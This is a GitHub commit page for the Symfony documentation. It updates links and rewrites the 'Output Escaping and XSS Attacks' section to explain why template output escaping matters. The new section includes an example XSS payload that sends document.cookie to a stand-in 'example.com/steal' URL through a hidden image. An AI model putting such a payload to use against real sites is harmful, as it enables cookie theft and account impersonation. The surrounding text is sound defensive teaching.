Skip to content

Commit ba663de

Browse files
committed
minor #19805 Add a better example of the dangers of XSS attacks (javiereguiluz)
This PR was merged into the 5.4 branch. Discussion ---------- Add a better example of the dangers of XSS attacks I can merge this myself ... but if other maintainers want to do it, keep in mind that there are new occurrences of "XSS attacks" in upper branches that must be updated to link to the new section. Commits ------- b6ce981 Add a better example of the dangers of XSS attacks
2 parents 7e54e23 + b6ce981 commit ba663de

File tree

3 files changed

+20
-13
lines changed

3 files changed

+20
-13
lines changed

reference/configuration/framework.rst

+1-1
Original file line numberDiff line numberDiff line change
@@ -1825,7 +1825,7 @@ cookie_httponly
18251825
This determines whether cookies should only be accessible through the HTTP
18261826
protocol. This means that the cookie won't be accessible by scripting
18271827
languages, such as JavaScript. This setting can effectively help to reduce
1828-
identity theft through XSS attacks.
1828+
identity theft through :ref:`XSS attacks <xss-attacks>`.
18291829

18301830
gc_divisor
18311831
..........

reference/configuration/twig.rst

+3-4
Original file line numberDiff line numberDiff line change
@@ -44,9 +44,9 @@ individually in the templates).
4444
.. danger::
4545

4646
Setting this option to ``false`` is dangerous and it will make your
47-
application vulnerable to `XSS attacks`_ because most third-party bundles
48-
assume that auto-escaping is enabled and they don't escape contents
49-
themselves.
47+
application vulnerable to :ref:`XSS attacks <xss-attacks>` because most
48+
third-party bundles assume that auto-escaping is enabled and they don't
49+
escape contents themselves.
5050

5151
If set to a string, the template contents are escaped using the strategy with
5252
that name. Allowed values are ``html``, ``js``, ``css``, ``url``, ``html_attr``
@@ -345,4 +345,3 @@ attribute or method doesn't exist. If set to ``false`` these errors are ignored
345345
and the non-existing values are replaced by ``null``.
346346

347347
.. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension
348-
.. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting

templates.rst

+16-8
Original file line numberDiff line numberDiff line change
@@ -1240,17 +1240,25 @@ and leaves the repeated contents and HTML structure to some parent templates.
12401240
Read the `Twig template inheritance`_ docs to learn more about how to reuse
12411241
parent block contents when overriding templates and other advanced features.
12421242

1243-
Output Escaping
1244-
---------------
1243+
.. _output-escaping:
1244+
.. _xss-attacks:
1245+
1246+
Output Escaping and XSS Attacks
1247+
-------------------------------
12451248

12461249
Imagine that your template includes the ``Hello {{ name }}`` code to display the
1247-
user name. If a malicious user sets ``<script>alert('hello!')</script>`` as
1248-
their name and you output that value unchanged, the application will display a
1249-
JavaScript popup window.
1250+
user name and a malicious user sets the following as their name:
1251+
1252+
.. code-block:: html
1253+
1254+
My Name
1255+
<script type="text/javascript">
1256+
document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">');
1257+
</script>
12501258

1251-
This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous
1252-
example seems harmless, the attacker could write more advanced JavaScript code
1253-
to perform malicious actions.
1259+
You'll see ``My Name`` on screen but the attacker just secretly stole your cookies
1260+
so they can impersonate you in other websites. This is known as a `Cross-Site Scripting`_
1261+
or XSS attack.
12541262

12551263
To prevent this attack, use *"output escaping"* to transform the characters
12561264
which have special meaning (e.g. replace ``<`` by the ``&lt;`` HTML entity).

0 commit comments

Comments
 (0)